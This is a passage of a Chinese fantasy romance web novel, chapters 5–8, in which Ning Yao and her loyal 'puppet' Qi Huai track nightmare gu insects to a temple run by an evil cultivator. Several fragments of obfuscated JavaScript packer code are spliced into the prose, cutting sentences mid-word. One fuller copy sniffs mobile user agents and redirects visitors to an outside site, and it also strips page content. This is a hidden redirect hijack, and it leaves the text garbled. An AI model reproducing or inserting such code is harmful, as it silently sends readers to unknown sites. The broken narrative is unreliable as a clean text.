宁瑶如被重物击中,苦笑化作强撑的冷哼一声,她在河岸边遥遥与花船上挺拔英姿的漂亮少年郎对上视线。 十六年光阴,她足足一大半的时间与他纠缠、打闹。 青梅竹马又如何,月下盟誓又如何。 儿时口口声声说要娶她,最后也是他欺骗自己。 海誓山盟逃不过、抵不了将婚事,化作轻飘飘的一句:童言无忌罢了,偏偏你还认真了。 退婚书刚送宁府大门前夕,她却已沦为了全京城的笑柄。 凭什么? 她不甘心。 宁瑶好不甘心。 指甲抠进岸边冻土,淤泥从精心修剪的甲缝中溢出。 她望着即将踏入仙门的少年,丞相之子不过是他最微不足道的身份。 自他觉醒冰灵根后,成了各大修仙门派争相招揽之人。 每位修士可携一人登仙途的资格,汲汲营营数年,本该是她的陪伴他前往。 五灵根废柴又如何? 这是她唯一靠近他,改命的机会。 寒气裹着心底压抑不住的恨意钻进骨髓,宁瑶眼前阵阵发黑,猛地抽出腰间银蓝色软鞭凌空抽去。 “啪”地一声划破长空,鞭梢尚未触及少年衣角,被浅蓝色灵光狠狠弹开,化作无数银蓝色碎片。 震感顺着鞭身窜回掌心,震得宁瑶虎口裂开一道血口,疼得钻心。 她死死攥紧拳头,手腕禁不住微微颤抖,郡主的尊严绝不允仅剩的长鞭手柄脱手。 在被眩晕的金光反噬到彻底失去意识前,她最后一眼看见的,是护在洛子晟身后,瑟瑟发抖的少女,与少年曾护着她的姿态重合在一起。 洛子晟…… 我恨你…… 刺目的白光在眼前炸开,无数记忆碎片如走马灯般飞旋。 她的身子不断下沉,冰冷的河水裹挟着她逐渐僵硬的四肢,五感正在一点点剥离。 咕咚—— 水面上漾开激烈的波纹。 一道深蓝色身影斩开水面直坠而下,银饰在水流中划出细碎的光。 宁瑶在昏沉中看见有人破开水浪向她游来,墨发混着小辫如海藻般散开。 ……洛子晟? 可笑,怎么可能,那人怎会为她踏入河水救她。 意识涣散之际,她还是本能地朝那道身影伸出手去。 水好冷。 是谁都好…… 救我。 冰寒刺骨的深水里,那具突然贴近的胸膛带着灼人的温度,一只手穿过她的腰肢,她下意识贴靠在那具躯壳。 混沌的意识里,似抓住最后一根救命稻草,攥紧他的胸前衣襟。 缺氧的窒息感被渡来的气息缓解,温润贴来时,让她混沌意识得以清明一丝。 被托出水面,宁瑶剧烈咳嗽着睁开眼,看见一丝天光心底万分感慨。 得救了。 水珠沿着她下颌滑落,滴在身后托举之人翕合的唇瓣上。 有力手臂将她微抬出水面,得以更舒服些得呼吸。 叮铃,叮铃。 熟悉的铃音缠着水声响起。 宁瑶一愣,被打横抱起,祁淮踏浪而出,熟悉银色腰链贴着她湿漉漉衣裙下的腰侧,她紧不住轻颤一下。 祁淮垂眸,她抬眸望向那双深不见底的漆黑瞳孔,莹白耳垂染上一抹红,略带别扭地小声道:“祁淮,多谢了。” 上岸后,祁淮仍保持着环抱的姿势,一眨不眨地垂眸注视着她。 目光快速掠过她湿润的唇瓣,手臂却没有丝毫松动。 宁瑶浑身湿漉漉的难受,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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摆着尾巴游回祁淮身边,乖顺地垂下头颅。 祁淮轻拍蛇首,唇角勾起阴郁的笑,“做得不错。” 他将重新变小的黑蛇收回袖中,转身往回走。 不远不近地跟在宁瑶身后,直至目送她安全踏入旧庙。 宁瑶对着将熄的篝火搓了搓发凉的手臂,连打几个喷嚏才蹲下身,往里添柴,等到火焰重新燃起来,才从储物玉佩中取出干净衣物。 就在她解开衣带的刹那,一道脚步声自门外响起。 宁瑶动作一顿,立即拢紧衣襟警惕地抬头望去。 叮铃,叮铃…… 银饰清响间,祁淮赤足立在破庙门口,浑身湿透却恍若未觉。 凉风拂过他发间的小铃铛,叮叮当当声,很是悦耳,让她不经意放下戒备。 宁瑶不自觉放松了紧绷的肩,“祁淮,你回来得挺快嘛。”话说出口才觉出几分不自在,赶忙轻咳一声掩了过去。 “主人的吩咐,祁淮从不耽误。” 他抬步走近火堆,跳动的火光为俊美的脸染上几分暖色,喉结滚动。长睫低垂,轻声试探道:“主人,可需要祁淮为你更衣?” 宁瑶瞧见他湿漉漉的模样,忍不住笑出声来,摆手扔过一套新衣,“你先顾好自己吧。” 说着便转过身,大大方方地褪下湿衣。 浸透的小衣紧贴玲珑曲线,勾勒出纤细腰身和若隐若现的肚兜上莲花样式。 祁淮不自在地喉结滚动,不知耳根在发烫,手指无意识地攥紧了那件干净深蓝色衣裳,摩挲一下。 是她刚才亲手递来的,还残留着她身上淡淡的暖香。 5. 第5章 宁瑶换好衣裙,随意披散着长发,一回头却见祁淮背对她站在原地纹丝不动,垂下长睫不知在想什么。 好家伙,难不成这“傀儡”只懂给别人换衣服,不懂给自己换是吧? “祁淮,换衣服。”她忍不住轻声提醒。 确认没有传来窸窸窣窣换衣的动静,祁淮才像恍然回神似的,眼底阴郁散开些许。 他回头看了她一眼,乖乖走到破庙角落的神像后更换衣衫。 等他再走出来时,宁瑶盯着他一身深蓝长袍当场愣住,下意识捏紧拳头,眼神悄悄挪向别处。 深蓝衣料衬得他肤色胜雪,银线绣出的蝶纹随动作泛出流光,腰间还缀着他从不离身的四角铃铛,贵气与温润两种气质竟同时在他身上交融。 宁瑶突然就懂了。 从前想不通为什么有人甘愿为游戏角色一掷千金买皮肤,现在看见祁淮穿着她原本要送洛子晟的衣袍。 她才惊觉,这世上当真有人能靠一身衣裳改变气质。 真是人靠衣装马靠鞍。 离谱的是,在祁淮身上穿的反而更合适更好看。 哪怕洛子晟本人来了,估计都得甘拜下风吧。 “鞋也要穿着。” 宁瑶从储物玉佩取出一双黑色绣金线长靴递给他,她忍不住多看了他两眼,这些都别便宜了洛子晟。 祁淮这一次并未拒绝,乖乖穿上。 宁瑶垂下眸,无意识蜷了蜷手,借着拨弄柴火移开视线,却听见铃音轻响。 祁淮脚步靠近。 “主人觉得如何?”他声音低低的,像怕惊扰什么,手指无意识地摩挲着腰间的铃铛。 宁瑶抬眸,视线在他眼尾两颗小泪痣上多停留了一瞬,扬起笑来:“特别好看,祁淮是个漂亮少年郎哦。” 她记得以前刷到过玄学视频,说什么“物品夸夸论”。 说东西要常夸夸,不能当面说换掉或者嫌弃,不然它会没有安全感,分分钟闹脾气坏掉给你看。 祁淮低头轻轻笑了,心底愉悦地拨弄腰侧铃铛,唇角弯起极淡的弧度,目光仍锁在宁瑶脸上。 宁瑶手里还拿着没晾完的衣服,祁淮忽然掐诀引灵,一阵微风拂过,她手中的衣物瞬间被卷走,被他接过,一件件认真晾好。 他转身回来,眼睛亮亮地望着宁瑶,就差把“快再夸我一次”写脸上了。 宁瑶确实笑了,可下一秒又迅速移开视线。 祁淮倾身靠近她,怕她察觉,在她面前坐下,声音低低的:“主人,是不高兴吗?” “没。”宁瑶垂下长睫,摇了摇头,把几乎将涌出的情绪都藏进火光跳动的阴影里。 他不懂其他安慰人的方法,心底莫名燥郁了一瞬,最终只伸出左手,轻轻捏了捏宁瑶的脸颊。 这算是一个无声的安抚吧? 宁瑶下意识抬眸,正迎上祁淮的目光。 他不厌其烦地用指腹摩挲她的脸颊,动作轻柔得像是在对待什么易碎的珍宝。 他的凑近几分,呼吸几乎要贴上她的肌肤 那一瞬间,祁淮垂眸,真想在这里留下属于他的印记呀,我的……主人。 宁瑶望着这张近在咫尺的脸,恍惚间,仿佛透过他看到了另一个少年郎的影子。 她突然抬手,遮住了祁淮的双眼。 视线被剥夺,只剩下耳边一道略显急促的呼吸声。 宁瑶微微屏住呼吸,此刻像极了那本曾经只是写给自己看的私密日记,分明自己看得,还要执意美化一切。 “主人,有什么事都可以告诉祁淮。”他声音放得很轻,字字清晰,“祁淮,可是你的‘傀儡’。” 宁瑶怔了怔,抬眼看他。 “是啊,你是我的傀儡。” 真是败给你了。 宁瑶笑出声来,瞧着这张脸温柔地安慰自己,像是被取悦了的猫,眨了眨眼。靠进他怀里,脸颊撒娇般地蹭了蹭。 “不许动,也不许反抗。”她小声嘟囔,“我可是你的主人。” 祁淮微微张开手臂,任由她抱靠着。 嘴角轻轻扬起,转瞬又化作一副温良顺从的模样。 在苗疆,唯有夫妻才会这般亲密无间。 祁淮挑眉一笑,宁瑶的头顺势靠在他的颈窝,喷洒的呼吸落在肌肤。 宁瑶想,他不是洛子晟。万幸不是,他是只属于她一个人的傀儡。 宁瑶放下些许芥蒂,不好的情绪也消散了不少。 在他颈窝轻轻蹭了蹭,像是回到了曾经娇纵任性的年纪,可以毫无顾忌地对一个“人”撒娇。 这原本是极危险的事。 可因为他是“傀儡”,宁瑶能容许自己放下心防,短暂沉溺。 祁淮垂眸,眼底闪过一丝满足。 好乖,像极收敛利爪的小猫。 温良皮囊下仿佛有什么在无声涌动。 宁瑶舒舒服服地蹭了好一会儿,才猛地回过神。 等等,她怎么就趴祁淮怀里久久不动。 惊觉失态,刚要起开,却被一只有力的手臂稳稳圈住。 手臂的主人似乎并无放人的打算。 祁淮顿了一下,松开手时指腹划过她的衣袖,面上却平静得仿佛什么都没发生。 “该走了。”宁瑶笑着道。 祁淮垂下眼,“嗯”了一声,瞥向自己空落的怀抱,偏过头,却在她看不见的角度笑了一下,眼底掠过得逞的亮光。 * 待衣裳烘干,宁瑶招呼少年收拾好行囊,一路快马加鞭,终是在日落前赶到了儋城。 可眼前的城镇萧条得出乎意料。 长街冷清,行人寥寥。个个面带惶惶之色,四下流传的全是“凶兽食人”的传闻。 “这儿真是儋城?” 宁瑶拉住一个正牵着孩子匆忙赶路的老妇人,柔声问道,“大娘,城中凶兽的传言究竟是怎么回事?” 老妇人攥紧孙儿的手,戒备地打量她。 见眼前姑娘眉眼清朗,才压低声音道:“哎呦,可凶险哩。那怪物专挑小孩下手,每晚都害人。连山上青云道观的修士都来了好几波,愣是抓不着……”说罢她像怕沾上晦气似的,匆匆牵着孩子出城去。 宁瑶收回目光,抬眼只见暮色渐沉。 “祁淮,我们先找间客栈住一晚,明早再走。” 反正儋城已有修士插手,她一个五灵根炮灰,才不上赶着送人头。 一进客栈,她便向掌柜要两间天字号房。 祁淮微微倾身靠过来,声音压得极低的:“主人,一间便够了,我守在床畔就好。我们的银两……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宁瑶本就睡得不安稳,在榻上翻来覆去,眉心紧蹙。 烛火不知何时熄灭了,她在黑暗中惊醒坐起,下意识攥紧从不离身的储物玉佩。指尖发颤地取出其中的小弯刀,刚赤足落地便被一只微凉的手捂住了唇。 “唔——” 宁瑶浑身一僵,本能地肘击反击,却被对方轻易扣住手腕。 叮铃,叮铃。 挣扎间熟悉的草木清香袭来,祁淮低哑的嗓音贴着她耳畔:“嘘,主人,是我。” 宁瑶绷紧的脊背稍微放松,心跳却仍擂鼓般急促。 “嘘,‘凶兽’来了。”他声音压低,拉着手腕紧了紧,指尖顺着她腕间滑下,牵着她的手悄然向前两步。 一缕清凉的灵气渡入经脉,她终于看清榻上蠕动的东西。 通体赤红的怪虫正蜷在枕边,绒毛根根竖立,足有巴掌大小。 “这什么变异品种?!”宁瑶压低声音道。 头皮发麻,一阵恶寒,小声地缩到祁淮身后。 吃了一个广东人不成? 少年低笑一声,顺着她贴靠的姿势偏头,鼻尖几乎蹭到她鬓角:“梦魇虫,专食梦境,造幻象,咬中者会深陷幻境。” 感受到她身形无意识的轻颤,心下难言之欲得安抚性地抚过她发顶,轻触着柔软青丝,“主人若是害怕,我可杀了一了百了。” 6. 第6章 “谁怕了,”宁瑶揪住他衣袖,小声嘴硬,“就是长得太超纲了,等等先别杀了,搞清楚虫子哪来的。” 祁淮指尖收拢,将她皓腕圈得更紧,幽深的眼眸注视她:“主人真要查?” “都到这份上了,查查无事。” 她总不能要被害还宁事息人吧,而且这种东西在,本身就不合理。 见宁瑶分明是怕虫,偏偏梗着脖子点头,祁淮在黑暗中唇角弯起,似笑非笑的道:“正好我也想知道。” 他垂眸看着梦魇虫:“这一只梦魇虫该是吞噬梦境,才会变得大。” “吃得这么胖。”宁瑶皱眉。 “不过它有一致命缺点,一旦太阳日光出来,便会迫切地要回归到持有者手中。主人,我陪你一同前往。”祁淮压低嗓音,面上挂着依旧温良无害的浅笑。 梦魇虫虽说炼制不难,可这小东西挑嘴得很。 除了苗疆无忧花,别的草料一概不碰。 祁淮苍白指尖下意识轻抚在她的手背,眼神却渐渐沉郁下来。 所以他方才看见这虫子的第一眼就愣住了。 儋城怎么会有梦魇虫…… 根本不该存在的蛊虫,偏偏出现在了不该出现的地方。 有意思。 “好。”宁瑶盯着那只胀鼓鼓的梦魇虫,掏出木盒,伸出的手微顿了顿,有点发愁地抬眸,“这该怎么装……” 发怵地盯着红通通的,蠕动的虫子。 话音未落,祁淮已经扣住她的手腕轻轻拉开。灵力萦绕在他指尖,他随手一捞,竟直接捏起了梦魇虫。 它扭动着通红的身子,发出极小极轻的婴儿般的啼哭。 祁淮眼神一沉,梦魇虫下一刻咬在他的指尖。 他似察觉不出痛意,漫不经心地将虫子丢进盒中,眼波扫过宁瑶仓促睁大的眼眸。 蛊虫在她身边。 她会做什么梦了…… 宁瑶低头看见祁淮那根被咬伤的手指,血珠正争先恐后地往外渗,转眼就由红转黑。 “怎么样?疼不疼?”她抓着他的手,急急抬头,猝不及防被一道阴影笼罩。 祁淮整个人倾身压下来,滚烫的呼吸拂过她的面颊,将脸埋进她的颈窝。 “主人,头晕……”他声音闷闷的,似带着点委屈,发辫擦过她皮肤,末端银饰叮当一响,她慌的一怔。 宁瑶手忙脚乱扶住他:“你怎么这么不小心,这毒要怎么办?” “得要主人,帮我吸出来才好。”他声音低哑,长睫垂下,掩去眸中暗色,眉宇间的阴郁之色不散,一副满心满眼为她打算,“主人其实不必如此,毕竟我只是个……‘傀儡’啊。” 他说完垂下头,脑袋耷拉得更低,浑身写满“自暴自弃”四个字。 他这是在委屈? 宁瑶咬咬牙,握起他的手指低头含吮了上去。 温热唇瓣贴上来的一瞬,少年脊背不易察觉地绷紧,酥酥麻麻的异样感从指尖传遍全身。 他敛眸盯紧她发顶,目光深得像是要把人吞进去,喉结轻轻滚动。 无意识地凑近她的发顶,嗅着淡淡馨香,吐息喷洒仿佛就此落下。 最好缠在她面颊、脖颈。 宁瑶背后一凉,又是那种诡异的,粘稠的,窥伺感。 “主人以前为别人做过同样的事情吗?”祁淮轻声问,转移她的注意力。 宁瑶包扎着说道:“没有。” “包括青栀?“他面上依旧是温良无害。 “嗯。” 祁淮难以自拔,心底甚至有些神经质地雀跃、兴奋,极度被“小猫”取悦般忽的一笑。 直到毒血被吸净,替他包扎完毕,她再抬头时,他才又恢复那副冷淡淡的“傀儡”模样。 “还疼吗,祁淮?”宁瑶关心地问道,目光逡巡在他的面色。 “多谢主人,不疼了。” 祁淮差点压抑不住内心躁动,低声转移话题,“它是在主人身边吞的梦。主人不好奇,自己梦到了什么?” 宁瑶认真思索,最终老实地摇头。 虽说记不清,但总归逃不开那些属于“从前”的记忆。 哪怕在祁淮这个“傀儡”面前,她也要撑住郡主最后的尊严。 哪怕可笑,也算是她自欺欺人的一种慰藉。 宁瑶故作轻松地耸耸肩,“肯定不是什么美梦,不看也罢。”说着啪嗒一声合上盒盖。 祁淮没说话,只无声地勾了勾唇。 待她合眼小憩,他指尖悄悄抚上盒缝。灵力流转,血气隐隐浮动。 就在梦魇虫即将吐梦的刹那,一声鸡啼划破寂静。 盒中蛊虫躁动起来,宁瑶也被惊醒,吐梦不过刚展现一个精致瓷娃娃般的孩童,便刹那溃散。 宁瑶揉了揉惺忪的眼,一把按住躁动的盒子,语气认真:“时间到了。祁淮,你控住虫子,我们一起去。” 她站起身,又突然回头补充:“一切当心,安全最重要。” 这句叮嘱她从前对青栀说过,可这一次,她仿佛忘了眼前“人”不过是个“死物”。 祁淮微微一怔,垂下眼微妙地轻笑,在她身后表情顿时有些古怪,似满足地喟叹一声:“嗯。” 两人顺着梦魇虫蠕动的痕迹一路追去,通到了儋城山上的清玉道观。 他们悄无声息地扒上墙头,向内望去。 晨光稀薄,笼罩着道观的雾气却泛着说不出的诡异。 修士不见半个,唯有断断续续,呜咽般的哭声由远及近。 宁瑶仔细看去,数十只梦魇虫正从四面八方蠕动而来。 她胃里一阵翻涌,忍不住皱眉:“这也……太掉san值了。” 祁淮听不懂什么叫san值,不过瞧着她表情猜测宁瑶在嫌弃,一瞬地怔了一下,他垂眸微握拳。下一瞬又轻笑一声挡在她身前,目光兴味地扫过院内。 “数量可真不少呢,主人。” 蛊虫巴掌大小,吃得圆滚肥硕,明显畏光,飞快钻入土中,蜷进角落,动作灵活得叫人头皮发麻。 天光渐亮,三三两两的修士困倦地从房里走出。 他们个个眼下乌青,脚步虚浮,显然都已成了梦魇虫的“食粮”。 不少人没走两步直接栽倒在地,横七竖八躺了一片。 “哪是躺下,分明是昏迷了。”宁瑶利落地从墙头跃下。 祁淮蹲身搭脉探查,片刻后神色微凝,抬眸看向她:“灵根有异,灵气被吸食了。” “危险吗?” “暂时无性命之忧。”他说完,目光若有似无地扫过东侧一间厢房。 “这地方邪门得很。” 宁瑶凑近查看,他们睡得死沉,空气中弥漫着一股奇怪的甜腥怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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除了隔壁传来的撞击声,唯有零星几个修士在他们门外徘徊。 “还记得怎么被带到这里的吗?”她关上门,压低声音问。 其中最镇定的锦衣少年白岚攥着衣角哑声道:“是灵根。他们专挑有资质的孩子,最差也是三灵根。” 宁瑶心下一沉,果然是邪修作祟。 她展开地图塞进年纪最大的白岚手中,眼睛亮晶晶地闪着光:“等会姐姐去引开他们,你们顺着这条路往山下跑,越快越好。” 白岚抬起微闪的眸,吸了吸鼻子,连连点头,“好,姐姐。” 宁瑶打开半扇门,飞速无声地阖上。 “你们来追我啊。”她挑眉地喊了一声,挑衅地抽出玉佩中储备的长剑,剑光微闪,故作镇定勾了勾手指。 四个修士一看见她,眼中泛起诡异的红光,嘴角淌下晶莹涎水,发出野兽般的低吼朝她扑来。 宁瑶转身就跑,一路冲到一座院落,闪身躲进昏暗的屋内。 走了两步,脚下一绊,整个人向前摔去。 下一秒,有人猛地从背后缠住她,手脚并用地禁锢她的动作,铁链哗啦作响间。 一只骨瘦如柴的手死死捂住她的口鼻,沙哑的女声急促道:“嘘,嘘,别出声。” 是个女子? 7. 第7章 宁瑶在昏暗中勉强看清,眼前人瘦得脱相,浑身散发着酸臭。 那只捂着她嘴的手硌得她脸颊生疼,冰冷的铁链蹭过她的脖颈,带来一阵战栗。 “你身上有‘家’的味道。” 女子呼吸急促,几乎是贴着她耳朵嘶哑哀求,“你是来救我的对不对?求求你,救我出去。我错了,我不该爱上外族人,我真的知错了……” 宁瑶挣扎几下就挣脱了。 女子轻得惊人,根本困不住她。 她迅速退到门边背紧门扉,屏息听着外面越来越近的脚步声,心头一紧:现在不能出去。 女子听见动静,顿时瑟缩成一团,疯癫恍惚的眼神竟清醒了一瞬。无声地望着她,一遍遍用口型哀求她:求求你。 宁瑶抿唇点头,示意她安静。 直到脚步声渐渐远去,女子瘫软着跪坐在地,仰起一张枯槁惨白的脸,执拗地望着她:“救我,求你了。” 宁瑶伸手将她扶起,目光扫过她身上的铁链,“你别这样,我先问你,你怎么会被关在这里?你也身负灵根?” 这女子竟是单独关押,显然身份不简单。 女子死死攥住她的手腕,枯槁的身形似乎想到什么恐怖的事情下,浑身发抖:“我是被骗来的,我、我是无辜的。” “既然无辜,为何会被锁在此处?”宁瑶扶她在床沿坐下,试着扯了扯铁链。 精铁所铸,根本不是寻常兵器能斩断的。 或许是有人相伴让她稍感安心,她颤声开口:“我叫苏挽,背叛族地,来到此处,但我发过誓了,我不能说出那里的事。” “既然如此,你怎么来这里的。” 苏挽忽地激动起来,猩红的眼中涌起强烈恨意,“我是被那个可恨之人骗来!” “他欺骗我,骗我一步步爱上他,骗我替他炼药炼蛊。你一定要信我!”苏挽崩溃地挠着乱糟糟的发丝。 “蛊?”宁瑶脑中念头一闪,“梦魇虫?” 苏挽嗅到她身上若有似无的熟悉气息,却看她一脸茫然,似乎真不知自己所指的是何地,对蛊物知之甚少。 她不由警惕地敛下目光,颔首道:“是。” “这些蛊被改得极其危险,他想要……”话音未落,苏挽浑身僵硬,毫无征兆地口吐白沫,刺目的鲜血从她的口鼻中汩汩流淌下来。 宁瑶被苏挽这副模样骇得一怔。 未反应过来,对方就用尽最后力气攥紧她的手腕,将一枚圆形小木盒死死塞入掌心。 指甲几乎掐进她掌心皮肉里,苏挽唇瓣颤得厉害,每一个字如从齿缝间挤出来:“弥补,我的错,一定要弥补……” 话音落下,那只手骤然脱力,垂落下去。 苏挽睁着眼断了气,混浊的瞳孔里凝固着她未散的执念。 宁瑶下意识去掏救治丹药的手顿在半空,微颤的差点捏不紧药丸。不过两息,她便眼睁睁地死在自己面前。 宁瑶记忆深处,两张面孔相撞在一起。从前她也曾见过同样懊悔的一张脸,死在她的面前。 室内有哭声,有吵闹声,唯一不同的是再无床榻之人轻揉着她的脑袋,一遍遍,温柔地拭去她眼角的泪珠。 公主娘亲…… 遇人不淑不可笑,那人可曾后悔? 爱一人,果真是痛。到头来失了自己,失了命。 宁瑶脑袋空白了一瞬,只剩下一阵麻木地攥了攥拳头,给苏挽轻轻地阖上眼皮。 她心里顿时不是滋味。 思绪刚刚回拢,刚要起身,就在这时大门发出“砰”地一声。 大门被人从外粗暴地推开,一道人影逆光而来。 “哪来的小老鼠?”一道中年男声响起。他身着灰色道袍,踱步而入。看似仙风道骨,儒雅的脸上却浮着毫不掩饰的讥讽笑意。 宁瑶指尖一缩,迅速将木盒滑入袖中,起身退后几步,拉开一个安全距离。 道观里唯一清醒的人,周身弥漫着令人作呕的血腥气。 邪修? 且看不透修为,看来修为在她之上。 “路过。”宁瑶故作镇定,心里打鼓。 “哦?我怎么看你想跑?小老鼠,看见了不该看的东西,今日就别想走了!” 玉忠冷笑,手中浮尘一甩,雪白丝线化作凌厉攻势,直扑宁瑶面门。 她抿唇不言,身形向后掠去闪躲,同时甩出一枚惊雷珠。轰然巨响中,趁机破窗而出。 宁瑶跑得极快,可快不过已是筑基期的玉忠。 没跑多远,浮尘丝线便如毒蛇般缠上她四肢,骤然收紧。 完了。 宁瑶挣扎一下,丝线反而更深地勒入皮肉,她吃痛停下,只得死死盯住男人每一步动作。 她身负五灵根,修炼极慢,如今才到练气二层。 手掌运转的微弱灵气顺着丝线,爆发式地暂时一击退了他。 待她跌在地,赶忙后退几步,却被如蛛网般的浮尘化作丝线将她重新束缚。 真是倒霉。 宁瑶目光紧紧盯着玉忠。 “小老鼠不是挺能跑?” 玉忠嗤笑,手腕一抖,丝线猛地勒紧。宁瑶疼得闷哼一声,额角渗出细汗,牙关紧咬才没叫出声。 “呵,原来是个五灵根的废物。”他缓步逼近,目光是不再掩饰的贪婪,舔了舔唇角,“不过,废柴也有废柴的用处,丢去喂我的宝贝虫子正好。” “五灵根又如何?”宁瑶疼得眼角泛红,生理性泪水在眼眶里打转,仍死死瞪着他,“比起你伤天害理,我可真是太好了。修行最忌因果,你不怕吗?” “既然做了,何曾后悔?待我修为暴涨,尔等都是我助我一臂之力的脚下石。”玉忠狞笑着抽出锋利匕首,威胁在宁瑶周身凌空地笔画。 身上丝线骤然一松,宁瑶抓住他分神的刹那,将袖中所有惊雷珠尽数砸向他脚边。 轰—— 刺目灵光混杂着硝石硫磺的气味炸开,气浪翻涌。 “什么东西?!” 玉忠慌忙以袖掩面,运转灵力护体,却被浓烈气味呛得连连后退。 待烟尘散尽,眼前早已空无一人。 宁瑶提起裙摆狂奔,心跳砰砰作响,急促的呼吸声在她的耳边无限放大。 就在此时脖颈蓦地一疼,随即泛起诡异的酥麻感。 宁瑶反手一抓,竟扯下一条绵软的红虫,丢出的红色小虫在地上翻滚,形似作恶的梦魇虫。 “好恶心。”宁瑶强忍着恶心一脚踢开,脖颈骤然疼得厉害。 中招了,得立刻躲起来。 宁瑶急促呼吸,强撑着发软的双腿,随手推开廊下一扇厢房门,屏息凝神侧身闪入。 生怕惊扰到任何东西,好在这一次她选的房间空无一物,万幸中的万幸,似乎安全。 她暂时甩掉玉忠了。 宁瑶蜷进角落,觉地浑身滚烫,意识逐渐昏沉,眼前景物开始模糊旋转,耳边似有嗡鸣不止。 忽然,一双骨节分明地手稳稳扶住她下坠的身子。 她勉强地抬眼,顺着素白袍袖往上瞧,正撞上一张熟悉的脸。 洛子晟? 她视线定格在他眼尾,那里没有两颗殷红的泪痣上,得以认出“他”和祁淮的不同。 “怎么是你?”宁瑶嗓音沙哑,拧了拧秀眉。 不对劲,这是幻境吗? 脑中翻涌着从前“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489857|185801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记忆”的情绪,让她心底复杂的情绪不断交织,搅得堵在心口闷痛。 虽然心里清醒不该被幻境左右,却仍止不住心神激荡。 那人微凉的指尖抚上她灼热的脖颈,宁瑶乱动挣扎,“走开!”极力压低声音,挣扎着想推开他,手腕被他死死钳住。 宁瑶整个人晕乎乎使不上力,戒备警惕瞪着他,“你想干什么!” 像只拱起全身皮毛,耸起脊背,警告他的小猫。 不乖,还凶巴巴的。 却比平日的模样,更让他觉得鲜活可爱。 祁淮眼底掠过一丝兴味,垂眸打量宁瑶绯红的颊侧。 宁瑶总算甩开他的手,别开脸,极其不愿看见“他”。 真是喝水都塞牙,居然眼前幻境出现了洛子晟。 祁淮微歪头,绕有兴味地瞧着她。 不知在宁瑶眼中他是何模样的皮囊,陷入梦魇虫的幻境,会把他当作任何一个让她记忆难以忘怀又深刻的人。 她居然这般抗拒,这人……是不是对她很特别。 意识到这一点,祁淮心底没来由地泛起一阵不愉,眸光微暗,向前逼近一步。 宁瑶下意识地后退,脊背抵上室内角落的衣柜才停住,“别过来。” 如果眼神能杀人,他早被她的目光削成了片了。 “不想解毒了?”面前之人尾音轻扬。 “想,”宁瑶滑坐下去,环住发软的膝盖,仰头瞪了他一眼,“但与你无关。” 她脑袋昏沉得厉害,简直想一只眼睛站岗,一只眼睛闭上,好好昏过去睡一觉。 连祁淮俯身靠近时,她已迟钝得来不及反应,只下意识抬手想推。 他先一步指尖轻触她的脖颈,不紧不慢地轻轻划过,像是抚着一只对他恶狠狠的猫。 “真是,不小心啊。”祁淮轻笑,攥住她绵软的手腕将人捞进怀里,指尖捏着一枚丹丸在她唇边若即若离,“想解毒么?” 他偏头时,发间银铃轻响。 宁瑶耳鸣嗡嗡,没太听清他说了什么,勉强辨出口型,咬了咬下唇点头。 下一刻,他却倏地将丹药丢回自己口中。 “你……”耍她很有意思嘛! 她气得气血翻涌,混沌中却闪过一丝异样:洛子晟似乎不会这样恶劣。 未待她想清,少年秾丽的面容已贴近。 温热的呼吸故意拂过她的耳廓,呼吸交缠,有一道陌生又异样的的两瓣温软,就这般毫无征兆地落在她的后颈。 他舌尖轻轻舔过细小的伤口,化开的药汁带着凉意蔓延开来。 宁瑶浑身一颤,刺激的耳尖瞬间染上绯红,扭头朝他钳制的手腕,上去就是一口。 “别,别欺人太甚。”抬起盛满怒火的眸,心里带着一丝别样的痛快地看着那一道红印。 “叫你……”逗我…… 气焰戛然而止,她话音未落已因药物的作用,歪头闭上眼,失去意识。 祁淮眼尾微挑,一眨不眨地目光,黏在宁瑶雪白颈间,像是欣赏什么杰作,落在那道将散未散的红痕。 视线幽暗,他目光滑到自己腕间,宁瑶下了十足十的力气,整齐的一圈牙印,泛着新鲜的红。 下嘴可真够狠。 祁淮指尖触摸在这刺痛的痕迹,眼底反而漾开一道诡谲的亮光,嘴角扬起得逞的笑。 “主人,”祁淮微歪头,对着昏睡的人呢喃,“你看,现在我们身上都有对方的印记了。” 铃音轻响,他拂过腰间的四角铃铛。 趁着她短暂地昏过去,确认四周无异样,祁淮这才轻巧起身。 他像暗夜里游走的蛇,悄无声息地离开,静等一个时机。 8. 第8章 宁瑶眼睫颤了颤,自混沌中彻底清醒过来。 四周空荡荡,哪还有半个幻境人影。 她揉着太阳穴站起身,心里泛起了嘀咕。 下意识地伸手摸了摸后脖颈,虽然自己看不见后面,但触手一片光滑,半点疼痛也无,倒是让她松了口气。 她撇撇嘴,拍拍衣裙上的尘土准备开溜,只听“哐当”一声巨响,房门被人从外头一脚踹开! 玉忠气势汹汹地冲了进来,这回他显然学聪明了,根本不给宁瑶任何反应的机会。 手中浮尘白光闪过,眨眼间就把她结结实实地捆成了动弹不得的粽子。 宁瑶:“……” “小老鼠被我抓住了吧。” 眼看玉忠手中浮尘微微用力,宁瑶下意识地闭上眼。 完蛋,这下真是插翅难飞了。 叮铃,叮铃。 悦耳清脆的铃音,响得毫无征兆。 